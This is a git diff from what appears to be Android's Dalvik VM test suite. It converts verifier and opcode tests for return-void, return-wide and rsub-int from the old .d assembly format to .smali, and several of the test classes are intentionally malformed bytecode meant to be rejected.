diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.smali
new file mode 100644
index 0000000..76a9d0e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.smali
@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_void/d/T_return_void_3;
+.super Ljava/lang/Object;
+.source "T_return_void_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private declared-synchronized test()V
+    .registers 2
+
+    new-instance v0, Ljava/lang/Object;
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+
+    monitor-enter v0
+
+    monitor-exit p0
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_void/d/T_return_void_3;->test()V
+
+    const p0, 0x1
+
+    return p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.d
deleted file mode 100644
index 172f5d0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_void_5.java
-.class public dot.junit.opcodes.return_void.d.T_return_void_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.smali
new file mode 100644
index 0000000..d01ad45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_5.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.d
deleted file mode 100644
index 001e8b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_void_6.java
-.class public dot.junit.opcodes.return_void.d.T_return_void_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 6
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.smali
new file mode 100644
index 0000000..f26755a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_6.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 6
+    
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.d
deleted file mode 100644
index 3aee8df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_void_7.java
-.class public dot.junit.opcodes.return_void.d.T_return_void_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 6
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.smali
new file mode 100644
index 0000000..0627776
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_7.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.d
deleted file mode 100644
index 57ffaf3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.d
+++ /dev/null
@@ -1,71 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_1.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 10
-    
-    const v1, 1
-    const v2, 2
-    const v3, 3
-    
-    const-wide v4, 0xdddd
-        
-    invoke-static {}, dot/junit/opcodes/return_wide/d/T_return_wide_1/test()J
-    move-result-wide v6
-    
-    cmp-long v0, v4, v6
-    if-nez v0, Label0
-
-    const v4, 1    
-    if-ne v1, v4, Label0
-    
-    const v4, 2    
-    if-ne v2, v4, Label0
-
-    const v4, 3
-    if-ne v3, v4, Label0
-    
-    const v0, 123456
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-.method private static test()J
-.limit regs 6
-    
-    const v0, 9999
-    const v1, 0xaaa
-    const v2, 0xbbbb
-    const v3, 0xcccc
-    
-    const-wide v4, 0xdddd
-    return-wide v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.smali
new file mode 100644
index 0000000..b30bde0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.smali
@@ -0,0 +1,71 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_1.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 10
+    
+    const v1, 1
+    const v2, 2
+    const v3, 3
+    
+    const-wide v4, 0xdddd
+        
+    invoke-static {}, Ldot/junit/opcodes/return_wide/d/T_return_wide_1;->test()J
+    move-result-wide v6
+    
+    cmp-long v0, v4, v6
+    if-nez v0, :Label0
+
+    const v4, 1    
+    if-ne v1, v4, :Label0
+    
+    const v4, 2    
+    if-ne v2, v4, :Label0
+
+    const v4, 3
+    if-ne v3, v4, :Label0
+    
+    const v0, 123456
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method private static test()J
+.registers 6
+    
+    const v0, 9999
+    const v1, 0xaaa
+    const v2, 0xbbbb
+    const v3, 0xcccc
+    
+    const-wide v4, 0xdddd
+    return-wide v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.d
deleted file mode 100644
index 479e777..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_3.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private declared_synchronized test()D
-.limit regs 4
-
-    new-instance v2, java/lang/Object
-    invoke-direct {v2}, java/lang/Object/<init>()V
-    monitor-enter v2
-    monitor-exit v3
-    const-wide v0, 1.0
-    return-wide v0
-.end method
-
-
-
-.method public run()Z
-.limit regs 1
-
-    invoke-direct {v0}, dot/junit/opcodes/return_wide/d/T_return_wide_3/test()D
-
-    const v0, 1
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.smali
new file mode 100644
index 0000000..7b82b61
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_wide/d/T_return_wide_3;
+.super Ljava/lang/Object;
+.source "T_return_wide_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private declared-synchronized test()D
+    .registers 4
+
+    new-instance v2, Ljava/lang/Object;
+
+    invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+
+    monitor-enter v2
+
+    monitor-exit p0
+
+    const-wide v0, 0x3ff0000000000000L    # 1.0
+
+    return-wide v0
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_wide/d/T_return_wide_3;->test()D
+
+    const p0, 0x1
+
+    return p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.d
deleted file mode 100644
index 692ac2b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_5.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-    
-    const v0, 1
-    return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.smali
new file mode 100644
index 0000000..a82bbf9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_5.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    const v0, 1
+    return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.d
deleted file mode 100644
index 3360ab7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_6.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 6
-    
-    const-wide v0, 1
-    return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.smali
new file mode 100644
index 0000000..4526455
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_6.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 6
+    
+    const-wide v0, 1
+    return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.d
deleted file mode 100644
index 0363fcc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_7.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 6
-    
-    return-wide v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.smali
new file mode 100644
index 0000000..ac5c891
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_7.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    return-wide v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.d
deleted file mode 100644
index be64ae1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_8.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 6
-    
-    const v0, 0
-    const v1, 0
-    return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.smali
new file mode 100644
index 0000000..671662a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_8.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    const v0, 0
+    const v1, 0
+    return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.d
deleted file mode 100644
index b5124e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.d
+++ /dev/null
@@ -1,67 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_1.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 4
-       return v0
-.end method
-
-.method public run1(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 60
-       return v0
-.end method
-
-.method public run2(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 20
-       return v0
-.end method
-
-.method public run3(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -25
-       return v0
-.end method
-
-.method public run4(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -70
-       return v0
-.end method
-
-.method public run5(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -50
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.smali
new file mode 100644
index 0000000..2876779
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.smali
@@ -0,0 +1,67 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_1.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 4
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int v0, v3, 60
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int v0, v3, 20
+       return v0
+.end method
+
+.method public run3(I)I
+.registers 4
+
+       rsub-int v0, v3, -25
+       return v0
+.end method
+
+.method public run4(I)I
+.registers 4
+
+       rsub-int v0, v3, -70
+       return v0
+.end method
+
+.method public run5(I)I
+.registers 4
+
+       rsub-int v0, v3, -50
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.d
deleted file mode 100644
index 544a12c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_10.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 4
-
-       rsub-int v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.smali
new file mode 100644
index 0000000..e9c3df4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.smali
